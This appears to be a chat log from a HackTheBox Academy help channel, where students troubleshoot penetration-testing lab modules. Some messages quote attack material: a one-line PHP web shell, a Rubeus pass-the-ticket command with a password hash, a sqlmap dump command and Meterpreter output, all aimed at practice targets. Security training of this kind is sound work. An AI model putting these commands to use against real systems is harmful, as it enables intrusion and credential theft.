#modules

1 messages · Page 414 of 1

gleaming fossil
#

Anyone solving bash scripting module need a help?

dense gyro
gleaming fossil
#

Conditional execution

#

35th generated value question

dense gyro
#

Share screenshot of question

gleaming fossil
#

Okk

#

this one

#

bro @dense gyro

#

check it

dense gyro
#

is this the one where you have to base64 encode var 35 times?

gleaming fossil
#

yes

#

#!/bin/bash

Count number of characters in a variable:

echo $variable | wc -c

Variable to encode

var="nef892na9s1p9asn2aJs71nIsm"

for counter in {1..40}
do
var=$(echo $var | base64)
done

#

lol

dense gyro
#

shouldn't the counter be {1..35}?

#

then you print the value after the loop

gleaming fossil
#

yeah the 35th value we need wc

#

but i'm getting wrong answers

dense gyro
#

maybe

var = $( echo $var | base64 | wc -c)

#

for count in {1..35}
do
var = $( echo $var | base64 | wc -c)
done

idk

gleaming fossil
#

not correct

dense gyro
#

oh i know what the problem is

gleaming fossil
#

we have to use if-else

dense gyro
#

sorry bro i did this one long time ago, maybe someone else can help or forum.hackthebox

spiral sapphire
#

Hello! I'm stuck on the "Exploiting Web Vulnerabilities in Thick-Client Applications" part on "Attacking Common Applications" module. Can someone help me?

I literally did everything like the guide taught and still get the "Connection Error!" When trying to login with the fatty-client.

#

Yes, I googled and tried to re-do the steps and other tricks also but none are working so far :/

wooden seal
bright coral
spiral sapphire
spiral sapphire
wooden seal
gleaming fossil
round parrot
#

i got a question on one on GPO abuse, after enumerating the GPO and found the one linked but disable. It doesnt accept the answer, neither with name, GUID or anything, what is it lookign for the format?

round parrot
#

ok then i have the wrong name.. can i DM?

spiral sapphire
#

Has anyone completed the "Attacking Common Applications" -module? If so, do you agree that the thick-applications section is a NIGHTMARE? 😄

bright coral
charred ice
#

How is it faster to test web application this way when we need to input the cookie/access token anyways?

#

IMO this takes more time because we'll have to type out the entire query in the terminal rather than just searching and looking at the network tab in the browser

acoustic owl
charred ice
crisp solstice
#

hey! so im struggling a little with the file inclusion skills assessment. Ive got the page vulnerable to RCE, and i can inject my payload however whenever i try to execute a command using <URL>&cmd=id the server crashes giving me a 500 internal error. Has this happened for anyone else? Ive restarted it about 8 times now with the same result each time.

crisp solstice
#

but thank you!

strange pivot
#

what shell is it?

strange pivot
fiery berry
strange pivot
#

should be <?php echo shell_exec($_GET['cmd']); ?>

crisp solstice
lime cosmos
#

meterpreter > sysinfo
Computer     : 10.129.190.184
OS           : Ubuntu 20.04 (Linux 5.4.0-110-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > shell
[-] Error running command shell: Rex::ArgumentError An invalid argument was specified. Unknown type for arguments
meterpreter > execute -f /bin/ls
[-] Error running command execute: Rex::ArgumentError An invalid argument was specified. Unknown type for arguments
meterpreter > 
#

any help ??

celest wing
#

@jolly cradle Hi apologize for disturbing you but why don't I have permission to the general chat ?

celest wing
#

ok thx

crisp solstice
sick depot
#

Anyone else havs issues logging into sql server on attacking services hard skills asses?

rustic sage
#

Windows lateral movement skills assessment, the VNC portion. I have RDP via rossy, attempted to VNC using ipv4, ipv6, tried doing it with ports on tight vnc, tried to switch to wsus, tried to use sharpwsus, nothing useful has worked.

mighty valve
#

hey guys, i've been stuck on the Custom Wordlist section of Login Brute Forcing for a while, I've followed exactly along what the lesson instructs and I can't get valid login. A point in the right direction would be appreciated

gray yacht
gray yacht
fading olive
#

Hey, I'm a bit confused about AEN > Exploitation and Privilege Escalation. How is the ability to run MSSQL command on a website as a privileged user (at least a user that has SeImpersonatePrivilege) not considered a vulnerability? It has to be like at least something like ``CWE-284 - Improper Access Control` doesn't it?

cloud urchin
#

No, sounds more like a misconfiguration rather than improper access control.

#

cwe-732 maybe?

rough nimbus
cloud urchin
rough nimbus
cloud urchin
rough nimbus
#

Yes I attacked the wrapper box .. (2hours wasted 😅 )

cyan oxide
#

GUYS

#

CAN I ASK HELP PLEASE

cloud urchin
#

with what?

cyan oxide
#

the bot "fawn", at this question, " What is the command we need to run in order to display the 'ftp' client help menu?
" is the question "ftp -h"?

#

i already seen the tutorial and the right answer is "ftp -h" but "Error!

Incorrect task flag!"

cloud urchin
cyan oxide
#

Fawn

#

task number 7

#

i think the site is bugged tbh

cloud urchin
# cyan oxide Fawn

That's not a module. This channel is for discussion of the HTB Academy platform, specifically the modules. If that's a box you need to ask in #boxes and you'll need to follow the instructions in #welcome to gain access to it.

cyan oxide
#

i can't write on that channel

cloud urchin
#

I know, I told you how you can if you read my full message.

cyan oxide
#

yeah thans

terse sedge
#

If a msf exploit has session in its options instead of rhost, how do I specify the victim box?

cloud urchin
#

sounds like you'd already need an active session to import it into that or something

terse sedge
#

So ones like that can't be used first, they are only able to be added to an existing session?

cloud urchin
#

based on what you're saying that's what i'd guess if it's asking for a session

#

@proud wigeon please make sure not to post content from modules above tier 0

proud wigeon
#

Oh sorry, my bad

#

how is best to query?

cloud urchin
#

just say the module/section/question you're stuck on, what you've tried, errors, etc. just don't post stuff from the module like the password etc

proud wigeon
#

ah ok, my bad. it was just because it was given in the content, it wasn't a secret or anything, apologies

#

basically im trying to use impacket to connect to the service and it runs through how i should do it, i've replicated it exactly and it says the share isn't writeable, so im not sure whether it is expecting that?

vocal bridge
#

hi if someone is kind enough to lend me a hand. I'm halfway through the cbbh path but never managed to find the answer to this one. it is so inconvenient since when continuing with the next section it redirects me here. the question is from https://academy.hackthebox.com/module/144/section/1253 i tried every method to make it work from changing conf files to messing with flags in dns enum but no luck. please its bugging my nerves so hard

proud wigeon
sudden pelican
#

I am doing a HTB Academy exercise in the module "getting started" section "exploitation" and I can not make it work. can someone help me please? What exploit should I be using or how do i find it?

Try to identify the services running on the server above, and then try to search to find public exploits to exploit them. Once you do, try to get the content of the '/flag.txt' file. (note: the web server may take a few seconds to start)

So far I got the exploit scanner/http/wp_simple_backup_file_read to work, but the file I get is not the flag.txt file. I scanned with nmap and visited the page in the browser, and it is using Simple Backup Plugin 2.7.10 for WordPress 5.6.1. I look for exploits for wordpress plugins or backup plugins or plugins in general, but I can not find the correct exploit

thorny kraken
#

Look for simple backup plugin exploit

cloud urchin
sudden pelican
fathom pendant
#

inlanefreights

crude halo
#

Hey guys, just wondering if anyone had issues on the first bind shells exercise, I simply cant connect via SSH to htb-student to start the bind shell. Gets disconnected immediately

vocal bridge
fathom pendant
vocal bridge
fathom pendant
vocal bridge
#

seems like it. great time for my vm internet to crap out on me

solid wadi
#

Hey, I'm having trouble getting past Q7 in the Active Directory Enumeration & Attacks - Skills Assessment II, anyone who completed it can give me a nudge?

quasi wave
#

Hi for the SOCKS5 Tunneling with Chisel Section of Pivoting, Tunneling, and Port Forwarding module I am having an issue where I cannot ping the target box even when connected with the recommended VPN file. Can someone help me out? I turned my host VPN off. I was able to get the file onto it with the SCP protocol the way the section said to. How do I fix this connection, especially knowing that there is a way to connect?

#

can someone help me out with this?

rough patio
#

Hiii

quasi wave
#

I can't SSH into the box which I need to do in order to do the section. Let me add that much.

#

because otherwise, the section doesn't work

solid wadi
quasi wave
#

when I SSH it says no route to host

#

and I can't ping the host either

solid wadi
#

are you sure you are connected to the vpn?

quasi wave
#

yes

#

I disconnected and reconnected and tried again

#

and I'm connected on the currently recommended VPN with low load

#

I have tried several times it cannot connect

#

that one scp chisel command goes through

#

I don't even thing pings are working

#

I tried pinging it 100% packet loss

solid wadi
#

do a ip route

quasi wave
#

ok

#
┌──(kali㉿kali)-[~/chisel]
└─$ ip route
default via 10.0.2.2 dev eth0 proto dhcp src 10.0.2.15 metric 100 
10.0.2.0/24 dev eth0 proto kernel scope link src 10.0.2.15 metric 100 
10.10.10.0/23 via 10.10.14.1 dev tun0 
10.10.14.0/23 dev tun0 proto kernel scope link src 10.10.14.28 
10.10.14.0/23 dev tun1 proto kernel scope link src 10.10.15.211 
10.129.0.0/16 via 10.10.14.1 dev tun0 
172.17.0.0/16 dev docker0 proto kernel scope link src 172.17.0.1 linkdown 
solid wadi
#

try pinging 10.10.14.1

quasi wave
#

ok

#

ping works for 10.10.14.1

solid wadi
#

weird then

quasi wave
#

ya

#

should I try it on pwnbox? I want it to work in my VM

solid wadi
#

the ping you are trying to do is to a 10.129.XXX.XXX network or a 172.16.XXX.XXX network?

quasi wave
#

not the internal network the pivot box

solid wadi
#

hmm

#

then i don't know to be honest, try restarting the machine once again

quasi wave
#

I restarted it once

solid wadi
quasi wave
#

I would pwnbox it to see if that works I mean I'm at a cafe

solid wadi
quasi wave
#

ok ya

solid wadi
#

good luck

quasi wave
#

ok

#

hi guys so I am getting these errors on the pivot host when I run chisel after transferring it over:

./chisel: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.32' not found (required by ./chisel)
./chisel: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34' not found (required by ./chisel)
#

this is for pivoting tunneling and port forwarding module's SOCKS5 tunneling with chisel section

#

also the VPN connection to it won't work I had to connect via Pwnbox, which is a big problem

#

I literally couldn't even ping the host from my VM even with my host Mullvad VPN turned off

#

like I tried doing ip route and had a connection to the HTB network so I don't know what gives

#

I determined the issue is with my VM but I don't know what to do about it

#

but even when logged into pwnbox I ssh into the Ubuntu server and it can't run chisel

cloud urchin
quasi wave
#

ok thanks

quasi wave
#

and it won't let me transfer files over from pwnbox

cloud urchin
quasi wave
#

and I can ssh into it but

cloud urchin
#

you should be able to transfer files, have you completed the file transfer module?

quasi wave
#

it only lets me transfer from chisel build files but not others

#

I completed the file transfer module. I tried transferring with SCP. Are you saying I should do it with FTP?

#

the section says to do it with SCP which is why I'm confused

#

like so I FTP the whole folder into it?

cloud urchin
#

why can't you use scp? it gives you ssh creds. scp is file transfer over ssh.

quasi wave
#

scp only transfers some files over but some files it won't let me transferover

#

like test, build, etc. also I can't install go on the target box

#

so building it with go won't work

#

like it won't let me install or use go

cloud urchin
#

you just need to transfer the chisel binary

quasi wave
#

I did

cloud urchin
#

as i said, use an older version of chisel or statically compile it

quasi wave
#

ok

#

will download an old version of chisel then

mellow topaz
#

How can I be very well prepared for offshore? What sources should I study from?

quasi wave
#

why doesn't it work with my local VM even when I turn off host VPN and the HTB VPN connects fine

cloud urchin
cloud urchin
quasi wave
#

I can't ping the target server

cloud urchin
quasi wave
#

from my VM even with mullvad turned off on host

cloud urchin
quasi wave
#

and that's why I think this is weird

cloud urchin
quasi wave
#

scp won't work from vpn and cannot ping it

cloud urchin
#

Do you have the pwnbox on still?

quasi wave
#

yes because after I gave up on VM an hour ago I turned on pwnbox

#

if that makes sense

cloud urchin
#

well that's why. the pwnbox and your vm use the same IP.

#

it's going to cause network problems when you have 2 machines fighting for the same IP

quasi wave
#

they do? I haven't had them on at same time

cloud urchin
#

one or the other

quasi wave
#

I only had VM on when using VM

cloud urchin
#

reboot your pc, re-download the vpn file and try again then

quasi wave
#

ok

cloud urchin
#

you should be able to reach the target you spawn just like any other lab

quasi wave
#

ok thanks

#

will do. talk to you in a couple minutes after reboot then

#

ok I did a reboot and tried redownloading vpn file

#

and turned off mullvad on host os

#

and it didn't work. should I try a different VPN file?

#

wait I got it to connect

#

ok now its taking time to scp chisel to target host from VM

#

ok I think I figured out how to get the VM working but I'm gonna try and finish tonight

cloud urchin
#

Please don't ping random people.. if you need help you can post your question

solar bloom
#

Information Gathering- Web Edition Module> FootPrinting Lab, question #2 asks which CMS is used on app.inlanefrieght.local. Using wappalzer it does not show CMS as something its looking for.

quasi wave
#

Except someone who already is DMing me

fathom pendant
fathom pendant
solar bloom
fathom pendant
#

you likely have it but don't realize it tbh

#

did you run it with the full verbosity?

solar bloom
#

I found it, I had one running with hostname and one without.

fathom pendant
#

also deleting because it contains the answer to one of the other questions

solar bloom
#

one with hostname took a long while.

fathom pendant
#

hostname is important

solar bloom
fathom pendant
#

yep patience reveals a lot

solar bloom
fathom pendant
solar bloom
fathom pendant
#

@split minnow please don't reveal information from the module such as usernames.

fathom pendant
split minnow
fathom pendant
#

it's a t3 module; so it's a spoiler

#

:))

split minnow
#

okay, sorry

solar bloom
fathom pendant
#

just reask the question literally that you had in #cape and someone who's done it may ask to dm to avoid spoilers

fathom pendant
#

because it may be fetching information; thus taking a longer time

rustic sage
#

Windows lateral movement skills assessment if anyone ever has trouble with this, please do not hesitate to reach out to me. I found this to be outrageously difficult willing to help others. Literally almost gave up and would’ve paid for the rich boy walk-through

solar bloom
fathom pendant
#

that's the bare minimum

#

the question asks against the specific hostname, so you're gonna run your scans against that specific hostname

solar bloom
#

Agreed, just trying to understand the tool is all. 🙂

fathom pendant
#

well understanding the tool is well and good, but you should at least be using it as intended. Instead of throwing it at the IP, use the different flags on the requested hostname

#

it's much more powerful to get the information the question wants while messing with the tool

#

i.e. "what other ways could i get the answer"

solar bloom
#

I was scanning with the hostnames as intended after dumping IPs/hosts into host file. Also, I'm learning and whether that falls in scope with getting a flag or not I feel like that's important to some extent. I get what you are saying and I've always appreciated your input. I know discord text doesn't always come across great, but I get the sense you are aggravated at my input. I'll refrain from asking some future questions here until after I've exhausted all other avenues.

fathom pendant
#

I'm not frustrated or aggravated lol. Just stating that getting useless output isn't helpful

waxen totem
urban sage
topaz palm
#

Do y’all understand lappalter’s module it literally says the same thing in her trait

fathom pendant
topaz palm
#

Im in the wrong discord sorry peeps

solid wadi
#

Hey, I'm having trouble getting past Q7 in the Active Directory Enumeration & Attacks - Skills Assessment II, anyone who completed it can give me a nudge?

knotty venture
#

I've been staring at the QOR (Question-Oriented Relationship) mental model for a bit, going back and forth with ChatGPT on practicing said mental model. However It seems that I'm still fundamentally struggling with internalizing the methodology. Would anyone mind sparring over the subject to identify any gaps of knowledge?

#

Having a clear and constructive partner to exchange ideas and test scenarios would be very helpful.

jolly laurel
#

People keep telling me to "pwn" stuff or do "ctf"s like my brother in christ im a gorilla

#

Also 100 humans can take one of my kind yes

solid wadi
solid wadi
#

When converting the MSSQL instance to a shell, it runs as NT Service\MSSQL$SQLEXPRESS

waxen totem
#

iirc you should also be able to rdp

solid wadi
#

crap, tried lots of things but none of them was trying to RDP into the machine, brb

waxen totem
#

@harsh gorge I saw that 9263zerotwoveryhappy gj on pwning newest box so quickly btw, damn you fast as f, I got stuck at the stupidest stuff kek

solid wadi
solid wadi
harsh gorge
waxen totem
upper wasp
shell stag
left comet
#

hi guys, I started doing HTB literally a few days ago, and up until now, I understand the point of the tasks I'm doing in the paths and I even managed to solve some tasks by myself
but most of the time, I have trouble figuring out what the answer is, even though I am 100% sure that I've done every single step from the question, I just cannot get the correct answer submitted
could someone help me with it, if possible?

left comet
steel gorge
#

Re: applications of ai in infosec https://academy.hackthebox.com/module/292/section/3299

There's an example of using CountVectorizer for the bag-of-words approach. Theres one matrix for unigrams and one for bigrams. But they are identical. I think this isn't supposed to be the case. I would have expected each combination of two words in the data set to appear but it's single words. And since I'm learning I'm not sure if this is actually an error or if I'm missing something.

grizzled schooner
#

Credential Hunting in Linux

I have a foothold into the host, but I'm absolutely lost with where to go, I've tried a couple of things and I can't seem to get anywhere, a nudge would be great, please @ with responses

heavy onyx
#

Good Day fellas.

#

Please do anyone have the best walkthrough to pwn the knowledge test in getting started.

#

i got initial foothold but using the reverse php shell in the edit_theme.php isn't goinng through

#

once i entered the php code. and try saving the template.php file the getsimple website won't response again.

heavy onyx
#

how did you go about get the flag.txt

nova knot
#

letme check my notes

#

i GUESS i used one of the methods mentioned in the section above it

heavy onyx
flint palm
#

Guys hello I am using subbrute to find DNS records and find mistake like this googled but didn't find what this mistake means

#

/home/barth/subbrute/./subbrute.py:462: SyntaxWarning: invalid escape sequence '.'
permute_filter = re.compile("^[a-zA-Z0-9]{" + str(self.permute_len) + "}.")

ember copper
#

Just finished the module HTTPs / TLS attacks, any doubts feel free to dm me, I’m following the web expert role

strange pivot
ember copper
strange pivot
uneven dock
#

hey, did you manage to solve it?

high crater
#

Hi

sterile gyro
#

Hi all
which cars can be accessed with a simple VIP subscription?

glass locust
sterile gyro
glass locust
glass locust
glass locust
left comet
alpine ingot
#

I'm currently doing the windows privilege escalation credential hunting section and i'm wondering why the "findstr /SIM /C:"password" *.xml" command didnt find the .xml that had the password in it to answer question 1.

#

I had to manually search for it by looking through the user folders.

alpine ingot
leaden island
#

module password attacks, section pass the ticket, says: With Rubeus we performed an OverPass the Hash attack and retrieved the ticket in base64 format. Instead, we could use the flag /ptt to submit the ticket (TGT or TGS) to the current logon session. the command it uses is c:\tools> Rubeus.exe asktgt /domain:inlanefreight.htb /user:plaintext /rc4:3f74aa8f08f712f09cd5177b5c1ce50f /ptt how did it submit the ticket ? it says /ptt but it dosent specify any ticket path

dark hedge
#

that command requests a TGT using plaintext's creds, then that TGT gets injected into the current session with /ptt

keen sinew
#

Hey guys, I need some help with Nocturnal. I'm stuck in the admin panel.

storm elk
#

@keen sinew don’t cross post

leaden island
dark hedge
dapper moth
#

For local, it should be your own logon session

dark hedge
#

that ticket will probably be injected into a sacrificial process, so for that process, you'll be authenticated as that user

leaden island
#

So with rubeus i can get a TGT using the user's NTLM hash

#

And with mimikatz i can open a process using the TGT and be authenticated as that user ?

dapper moth
leaden island
dapper moth
leaden island
#

Good

#

Best to try them while reading through the section

leaden island
#

One. More. Question

#

Why all TGTs and kerberos keys are stored on a non DC machine ?

neat saddle
#

Anyone subscribed to student subscription anyone can give me a review of it?

leaden island
#

Wonderful

#

HTB is underpaid on that student sub

neat saddle
#

Is it possible to accumulate cubes on that subscription?

leaden island
#

Yes

neat saddle
#

I was thinking of getting it for a refresher on all the theory on pentest track since i have done CEH long back V7-8 idk which it is. Then dive into some adv modules.

lyric nebula
stiff aurora
#

Hello, hacktheboxis down?

lyric nebula
stiff aurora
#

oh ok

#

The academy, I mean?

stiff aurora
lyric nebula
#

mine is working

shut vapor
stiff aurora
shut vapor
#

Website is working for me, I'm logged into academy myself.

stiff aurora
lyric nebula
#

havent explained one bit

shut vapor
# stiff aurora Jesus..ok, thank you for your advice

I hope that didn't come off as rude. I've worked in tech long enough to know that many people don't know to describe their problems in a way that facilitates a solution. We're in a high-tech environment so I wouldn't consider it rude to suggest describing your problem with a little more detail. I hope your issue is resolved.

fierce granite
#

If i get the monthly platinium subscription, do i get the 1000 cubes instantly or after a month? In my understanding i can just buy 1000 cubes for 68 usd

stiff aurora
shut vapor
vocal bridge
sharp carbon
#

hi

#

I am working on this right now, it seems impossible no attack vector works

cloud urchin
sharp carbon
crimson nebula
#

Hi there I need help from someone

dusty token
shut vapor
crimson nebula
shut vapor
sharp carbon
shut vapor
torn river
#

anyone could help me with this?
What credentials does Bob use with WinSCP to connect to the file server? (Format: username:password, Case-Sensitive)

crimson nebula
shut vapor
crimson nebula
acoustic thorn
#

I can't get any variation of dir /a:h or ls -la to work with smbclient. Does anyone have a preferred method of listing hidden dirs?

shut vapor
shut vapor
acoustic thorn
#

If my vm didn't just crash I would give that a try pepehands thank you

#

It did work thank you again @shut vapor

uneven dock
#

Hello everyone
I need some help

Module {XSS}
Session hijacking

My PWNBOX server does receive GET requests I sent directly from the browser, but I have no response on any of the inputs. After some time trying, I looked up on the solutions sheet and copied the given script in the vulnerable input but I still have no hits on my server.
Yes, I made sure that I adapted the given script with my PWNIP:PWNPO
Any advice?

spring pollen
#

Hi, everyone. Can anyone hep with this question? I am doing the CAPE certification course and it is located in Windows Lateral Movement > Windows Remote Management (WinRM)

Connect to DC01 as Leonvqz and read the flag located at C:\Users\Leonvqz\Desktop\flag.txt

||I established a tunnel using ligolo, but port 5985 on host SRV02 is not open. I also cannot RDP to that host.||

Solved it! Thank you!

shut vapor
devout spruce
#

Hi, can someone please help me with the Whitelist Filters section in the File Upload Attacks module? I've been stuck on it for hours. I've used the wordlist the module provided and even added some extra extensions, I included the php shell code and the filename in my burp request, and ran through the wordlist and I'm either not getting any successful results or the web page will give me an error when I try to go to the uploaded files. Any help would be greatly appreciated.

ancient yacht
#

Checking in again, I have tried multiple different ways of trying to get this and to still no luck. The question: (Sign the application myapp.apk and install it by either dragging and dropping it onto the device or using ADB. Make sure to first uninstall any previous versions of the app. After installation, tap on the app to start it. What is the message printed on the screen?)

waxen totem
mossy sable
#

Intro module is a slog lol

waxen totem
verbal niche
#

Module Fundamentals of AI : Skill Assesment
Here answer to this question is transformer architecture but while submitting it says that it's wrong. What am I supposed to do?

What deep learning architecture, known for its ability to process sequential data like text by capturing long-range dependencies between words through self-attention, forms the basis of large language models (LLMs) that can perform tasks such as translation, summarization, question answering, and creative writing?

olive peak
#

Looking for a better understanding as I am a bit confused, but Module: Password Attacks Section Pass the Ticket (PtT) from Linux I'm on the second to last question, but am I supposed to transfer the KRB5 to my attackbox then use a port forward method if I am correct.

magic mango
#

Oracle footprinting. i shouldn't have to install odat.py or sqlplus right? when i try to run both commands i get a "No such file or directory"

cloud urchin
#

I think you do

magic mango
#

is sqlplus bundled in with that oracle tool setup? if you recall?

cloud urchin
#

they sound like different tools to me

magic mango
#

hrmm, ok. i'll keep at it

lost hemlock
#

Hey there... new here! Excited to learn some new skills. Greetings from Argentina!

lost hemlock
tawdry quartz
#

Hey Gang, Im stuck on this module and this step im not sure how to complete. I open wireshark but im not sure how to get the file onto my instance. what am i missing?

cloud urchin
#

which module/section

tawdry quartz
#

*Finding ARP Spoofing.

tawdry quartz
#

in wireshark, looking at the ARP_Poison.pcapng file and total packets at the bottom right. still getting the wrong answer.

cloud urchin
#

You need to use filters

#

The question called for a certain opcode and MAC address, did you enter those both into the filter? you should get your answer with that

coral crest
#

Module 23 section 252 - File Inclusion - Log Poisoning

I replicated the steps from the main explanation and also checked the step-by-step solution and the result is definitely not working as it was supposed.
The step to use index.php?language=session_poisoning don't work and I tested in many ways possible, I simply can't go through because this pending step
and whoever mentioned about it before, I don't know if they solved or had the same problem described

cloud urchin
#

What do you mean language=session_poisoning? you should be pointing it to the acces.log, right?

coral crest
#

this is exactly the instruction on the section
http://<SERVER_IP>:<PORT>/index.php?language=session_poisoning

cloud urchin
#

what no it's not

#

That's part of the PHP session poisoning section, not the Server Log poisoning section

#

you mean the php section then?

#

sorry i thought you meant the server log poisoning at first

#

so the modules show how to do it, the lab might not be a 1:1 but you have to apply the same concepts

coral crest
#

oh I found the correct way, I was using the wrong sequence and didn't understand the "session poisoning" reference
I just entered the "URL encoded web shell" and it worked

cloud urchin
#

ahh nice nice

coral crest
#

I believe it was more my translation/interpretation problem than the question itself hehe, sorry and thanks of course for the help

last haven
#

Hi, I'm facing an issue in the Attack Tuning section of SQLMap. I'm trying to get the contents of flag5 table; i followed the command from the solution but it doesn't result in the expected output:
sqlmap -u 'http://83.136.251.68:52443/case5.php?id=*' --level 5 --risk 3 -T flag5 --batch --dump
results in
Database: testdb
Table: flag5
[1 entry]
+----+-------+
| id | conten |
+----+-------+
| 1 | <blank> |
+----+-------+
I also tried adding the --no-cast switch from the hint and it does not help
Database: testdb
Table: flag5
[1 entry]
+----+-------+
| id | conten |
+----+-------+
| 1 | |
+----+-------+

autumn pilot
junior fjord
#

Ok I will there !

autumn pilot
#

Click on the hyperlink..

sterile solstice
#

I need some help with the Sliver C2 skills assessment. Question 3 about getting the the DC. Having some trouble finding an account that will work on the DC and unsure if Ive missed a step

#

if anyones done that module ....

fickle flare
#

Anyone who's doing Android Application Static Analysis module: 221 section: 2630. I have question regarding the 1st question: "Analyze the APK found inside the attached ZIP file. What is the value of the "message" key after logging into the remote service using the debugging code?"

nova knot
#

hey i'm on password attacks module and psswd,shadow & Opasswd section

zenith depot
nova knot
#

hey i'm on password attacks module and psswd,shadow & Opasswd section

I got the root hash, and I tried cracking it with both rockyou and mutating the password.txt

#

i mutated the given resource password.txt with
:
c
so0
c so0
sa@
c sa@
c sa@ so0
$!
$! c
$! so0
$! sa@
$! c so0
$! c sa@
$! so0 sa@
$! c so0 sa@

waxen totem
#

@heavy swan over here! 7337zerotwohello
So, if you wanna get into bug bounty then yeah Bug Bounty path is the way to go. If you want to go the defensive route, then SOC path is the way. If you want to be more well-rounded pentester then Penetration Tester path is the way. The Web Exploits and Active Directory paths are both considered expert level paths so it'd be better to start with one of the other ones.

heavy swan
#

im here

#

so i want to learn to become bug bounty hunter i have some small knowledge as i tried soc analyst path but it wasnt for me

waxen totem
heavy swan
#

what is CWEE?

waxen totem
#

Certified Web Exploitation Expert which is the Senior Web Penetration Tester path

heavy swan
#

oh okay thx

#

I will start with introduction to information security then will go for BBH

waxen totem
heavy swan
#

I found it already , but thank you for helping me :)))

nova knot
#

hey @waxen totem ANY IDEA about where I'm going wrong

#

i posted my question above

#

i'm stuck on password attacks, psswd,shadow&opswwd section

waxen totem
#

all I know is that's definitely the wrong password list

nova knot
#

mhmm

#

the password list is the one given in the resource section

waxen totem
#

use the mutated one then

nova knot
#

yea using above mentioned rules I mutated the list

#

:
c
so0
c so0
sa@
c sa@
c sa@ so0
$!
$! c
$! so0
$! sa@
$! c so0
$! c sa@
$! so0 sa@
$! c so0 sa@

these r the rules i used to mutate the given passwrd list

#

and them with the mutated list i tried hashcat, john

#

ntg worked

waxen totem
#

try rockyou ig

nova knot
#

mhm it's runnning from an hour

#

so hopefully it works, I see that resources had better rules than the short one i posted above lemme re try

sterile solstice
#

has any1 done the C2 Sliver skills assessment?

half snow
#

Hey I am a beginner. From where I need to start my journey?

zenith depot
#

ayo

#

why u dont help breh cmon mane

sterile solstice
pseudo kiln
#

anyone has some idea where I can see when my annual sub expires ?

safe star
#

Should be at the purchase cubes

pseudo kiln
#

sadly nothing indicating it there

#

I guess I can always just check my email when I subsribed but still weird I cannot see anywhere

safe star
#

Yeah not sure, thought it was there

#

Maybe only if it’s active

pseudo kiln
#

yeah, still got it until 6th of June

zenith depot
thorny kraken
pseudo kiln
#

sadly not; I cancelled it after subscribing of course to prevent another unexpected taxation, maybe that is why ? (by canelled meaning, cancelled the next payment that would automatically subscribe for another year)

thorny kraken
rustic sage
#

Hey guys, how can I start hacking ? Can I just start with My MacBook ?

compact patrolBOT
pseudo kiln
thorny kraken
#

Yes

#

I believe so

pseudo kiln
#

yeah, thanks for checking but nothing on my end

thorny kraken
#

Ah sorry i couldnt be of more help

#

Probably emails is the only way to check i guess or through your banking

pseudo kiln
#

yeah already confirmed with email 🙂

ember copper
#

Hi, im stuck at NoSQL Skill Assessment II, i made some progress but now stuck again. Can I DM someone?

round marten
zenith depot
#

only real ones pick on this /4294967295

#

its not fair breh it took 4 hours to figure this out

#

imagine if i could use GPT solve that thing in like 2 mins

waxen totem
zenith depot
#

yeah it was i just couldnt leak info in here so i respect the chat

gray yacht
waxen totem
vital storm
#

Hello i am in teh footprintin modules of the cpts path , in the section of host based enumeration in the smb one

#

When i tried to connect to the share of the smb, it prompts with an error like that : Reconnecting with SMB1 for workgroup listing.
smbXcli_negprot_smb1_done: No compatible protocol selected by server.
Protocol negotiation to server 10.129.202.5 (for a protocol between LANMAN1 and NT1) failed: NT_STATUS_INVALID_NETWORK_RESPONSE
Unable to connect with SMB1 -- no workgroup available

west arrow
#

can you show the code you used to try to connect

fallow zenith
#

While working on Log Poisoning. I was able to add php script in User agent but while executing got 500. What am I doing wrong?

waxen totem
waxen totem
#

try the methods from the previous sections to find it first

#

best to keep in mind that the exercises at the end of the sections aren't designed completely like the examples provided, there's a bit of fiddling you have to do

#

Hi, sorry we can't help you here, contact your local law enforcement and ask if they can communicate with whatever country the person who's endangering you is in.

regal laurel
#

My parents will find out tho, no?

waxen totem
regal laurel
#

Dude it's my biggest, they will kill me

waxen totem
#

That'd be child abuse, if your parents harm you please contact your local law enforcement.

Kidding aside, it's still in your best interest to inform them, you made a mistake, own up to it.

regal laurel
#

Thank you

fallow zenith
waxen totem
#

that might be useful when in bash/terminal but not in burp

thorny kraken
fallow zenith
zenith depot
#

hey does this mean (ALL, !root) run with other user but ROOT ?

waxen totem
#

Ahhh, ye (ALL, !root) from sudo -l does indicate you can run as any user but root

zenith depot
#

so interesting

waxen totem
#

Please remove the image as it spoils the Skills Assessment, instead mention the module and section.

ancient niche
#

what

waxen totem
ancient niche
#

how i can doing

wise galleon
#

Hi

waxen totem
#

for example: Linux Fundamentals module - Filtering section

ancient niche
#

okay sorry

#

i try again

#

I need some help with the Module AI. This is my last exercise his name is Skills assessment

lime cosmos
#

i need help

#

on https://academy.hackthebox.com/module/147/section/1327
Password Attacks - Network Services
Find the user for the RDP service and crack their password. Then, when you log in, you will find the flag in a file there. Submit the flag you found as the answer.
i use hydra and it take long time . it normal , i use the provided list

lime cosmos
#

ok

ancient niche
#

ey guys I need a little help pls 🙂

vital storm
ancient niche
#

with AI

thorny kraken
#

Or try restarting the target ip

harsh gorge
harsh gorge
#

It wouldn’t matter where he put it

#

As long as he has the syntax right it should be good

ancient niche
#

ey guys someone had finished the module AI?

lime cosmos
#

why all offline ?

stark jacinth
#

Need some help on the SA for windows lateral movement, anyone that can provide a hint? 🙂

ancient niche
#

ey guys someone had completed the module AI?

desert quail
#

https://academy.hackthebox.com/module/237/section/2612 -> First question

In the Introduction to Digital Forensics -> Rapid Triage Examination & Analysis Tools -> first question

I did the exercise in a whole different way, after trying the way the exercise asks and didn't get the answear. If anyone could help me get the answer the way the exercise asks I'd appreciate the help

narrow plover
#

Would anyone mind giving any advice on the Shells & Payloads - The Live engagement questions. For Host 1, I seemingly am having a tough time finding the attack vector. For the hints, it states "if you look at status.inlanefreight.local or browse to IP on port 8080, you will see the vector". However trying to access the URI on my KALI VM, it always shows an error which im assuming its blocking outbound connections to HTTP. However, xfreerdp session on the foothold IP doesn't have any browser besides torr which needs internet connection. I've also tried using metasploit auxilliary scans which i found nothing. On top of it all, I tried establishing a bind shell with netcat and I can't get that to work as connections seemed to be refused everytime on my client machine. Any guidance?

knotty hamlet
#

Hey all! I'm having some trouble with the Intro To Python 3 module.... on the last page it has a question about what type of data a specific item is.... but when i use the Type() command in there, and input the result, it tells me that it was wrong.

